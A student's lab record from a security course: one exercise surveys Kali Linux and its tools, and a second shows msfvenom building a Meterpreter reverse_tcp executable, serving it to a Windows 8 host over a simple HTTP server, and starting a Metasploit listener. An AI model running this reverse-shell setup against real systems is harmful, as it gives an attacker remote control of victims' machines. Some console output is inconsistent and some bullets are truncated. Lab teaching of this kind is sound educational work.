Ex. No.: 8a
Date: 13/04/24

STUDY OF KALI LINUX DISTRIBUTION

AIM:

To study about Kali Linux: an advanced penetrating testing and security auditing Linux distribution.

DESCRIPTION:

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali Linux contains several hundred tools aimed at various information security tasks, such as Penetration Testing, Forensics and Reverse Engineering. Kali Linux is developed, funded and maintained by Offensive Security, a leading information security training company.
Kali Linux was released on the 13th March, 2013 as a complete, top-to-bottom rebuild of BackTrack Linux, adhering completely to Debian development standards. Features are listed below-

- **More than 600 penetration testing tools**
- **Free and Open Source Software**
- **Open source Git tree:** All of the source code which goes into Kali Linux is available for anyone who wants to tweak or rebuild packages to suit their specific needs.
- **FHS compliant:** It adheres to the Filesystem Hierarchy Standard, allowing Linux users to
- **Wide-ranging wireless device support:** A regular sticking point with Linux distributions has been support for wireless interfaces. Kali Linux supports many wireless devices.
- **Custom kernel, patched for injection:** As penetration testers, the development team often
- **Developed in a secure environment:** The Kali Linux team is made up of a small group of individuals who are the only ones trusted to commit packages and interact with the repositories, all of which is done using multiple secure protocols.
- **GPG signed packages and repositories:** Every package in Kali Linux is signed by each individual developer who built and committed it, and the repositories subsequently sign the packages as well.
- **Multi-language support:** It has multilingual support, allowing more users to operate in their native language and locate the tools they need for the job.
- **Completely customizable:** It can be customized to the requirements of the users.
- **ARMEL and ARMHF support:** It is suitable for ARM-based single-board systems like the Raspberry Pi and BeagleBone Black.

Security Tools:

Kali Linux includes many well known security tools and are listed below-

- Nmap
- Aircrack-ng
- Kismet
- Wireshark
- Metasploit Framework
- Burp suite
- John the Ripper
- Social Engineering Toolkit
- Airodump-ng

Aircrack-ng Suite:
It is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security:

- Monitoring: Packet capture and export of data to text files for further processing by third party tools.
- Attacking: Replay attacks, deauthentication, fake access points and others via packet
- Testing: Checking WiFi cards and driver capabilities (capture and injection).
- Cracking: WEP and WPA PSK (WPA 1 and 2).

All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2.

RESULT:

Thus, a study has been conducted on Kali Linux.

Ex. No.: 8b
Date: 20/04/24

METASPLOIT

AIM:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

ALGORITHM:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.
10. Delete the created directory.

OUTPUT:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155
LPORT=443 -f exe > /root/hi.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
root@kali:~# msfconsole
[-] ***Rting the Metasploit Framework console...\
[-] * WARNING: No database support: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5432?
[-] ***

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|/ |_____/ \____\/ /\ \\____/ \/ \___| |_\ \____\
=[ metasploit v5.0.41-dev ]
+ -----=[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -----=[ 556 payloads - 45 encoders - 10 nops ]
+ ----- =[ 4 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
- - - - - - - - - - - - - - - - - ----------------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
- - - - - - - - - - - - - - - - - ----------------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
- - - - -
0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.8.155:443

RESULT:

Thus, a Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been setup.